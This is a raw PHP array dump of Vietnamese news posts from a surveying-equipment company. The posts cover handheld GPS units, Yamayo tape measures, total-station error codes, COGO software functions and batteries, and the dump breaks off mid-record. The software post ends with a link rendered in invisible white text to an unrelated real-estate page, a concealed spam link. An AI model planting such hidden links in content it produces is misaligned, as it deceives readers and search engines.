<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p>
',
'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-08-22',
'modified' => '2025-08-10',
'status' => '1',
'view' => '77229',
'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '859',
'rght' => '860',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '491',
'name' => 'Thước dây Yamayo',
'code' => null,
'alias' => 'thuoc-day-yamayo',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br />
Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br />
Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br />
Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br />
Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br />
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br />
<strong>Ưu điểm:</strong><br />
- Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br />
- Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br />
- Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br />
<strong>ĐẶC ĐIỂM NỔI BẬT</strong><br />
· Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br />
· Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br />
· Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br />
· Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br />
· Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>',
'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-08-22',
'modified' => '2025-08-10',
'status' => '1',
'view' => '71691',
'slug' => 'thuoc-day-yamayo',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '857',
'rght' => '858',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Post' => array(
'id' => '490',
'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử',
'code' => null,
'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>',
'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p>
<p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<br />
<strong>* Máy toàn đạc Topcon:</strong><br />
<br />
- V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br />
- H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br />
- Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br />
- E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br />
- E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br />
- Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br />
Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br />
</p>
<div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<p style="margin: 0px 0px 6px; font-family: inherit;">
<strong>* Máy toàn đạc điện tử Sokkia:</strong><br />
<br />
- Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br />
- Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br />
- E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p>
<p style="margin: 6px 0px; font-family: inherit;">
</p>
<p style="margin: 6px 0px; font-family: inherit;">
Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p>
<p style="margin: 6px 0px; font-family: inherit;">
CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br />
50 Láng Hạ, Đống Đa, Hà Nội<br />
Tel: 0243 7765908 - 0243 7764930<br />
Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p>
</div>
',
'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-07-25',
'modified' => '2025-08-10',
'status' => '1',
'view' => '63798',
'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '855',
'rght' => '856',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Post' => array(
'id' => '489',
'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?',
'code' => null,
'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br />
<br />
Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br />
<br />
- Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br />
<br />
- Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br />
<br />
<br />
- Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br />
<br />
- Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br />
<br />
- Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br />
<br />
- Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p>
<div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<p style="margin: 0px 0px 6px; font-family: inherit;">
<img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br />
<br />
<u>Liên hệ:</u><br />
<br />
<strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br />
50 Láng Hạ, Đống Đa, Hà Nội<br />
Tel: 0243 7765908 - 0243 7764930<br />
Hotline: 0913051734<br />
Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br />
</p>
</div>
',
'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-07-24',
'modified' => '2025-08-10',
'status' => '1',
'view' => '58560',
'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '853',
'rght' => '854',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Post' => array(
'id' => '488',
'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT',
'code' => null,
'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br />
<br />
- <strong> Chương trình đo tham chiếu (Reference):</strong><br />
+ Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br />
+ Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br />
* Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br />
* Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br />
- <strong>Cogo:</strong><br />
+ <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br />
+ <strong>REM</strong>: Tính chiều cao không với tới<br />
+ <strong>AREA: </strong>Tính diện tích.<br />
+ <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br />
+ <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br />
+ <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br />
+ <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br />
+ <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br />
+ <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br />
+ <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br />
+ <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br />
<br />
Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>',
'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-06-13',
'modified' => '2025-08-10',
'status' => '1',
'view' => '63648',
'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '851',
'rght' => '852',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Post' => array(
'id' => '487',
'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON',
'code' => null,
'alias' => 'pin-may-toan-dac-dien-tu-topcon',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>',
'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;">
</p>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p>
<p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<br />
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p>
<ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;">
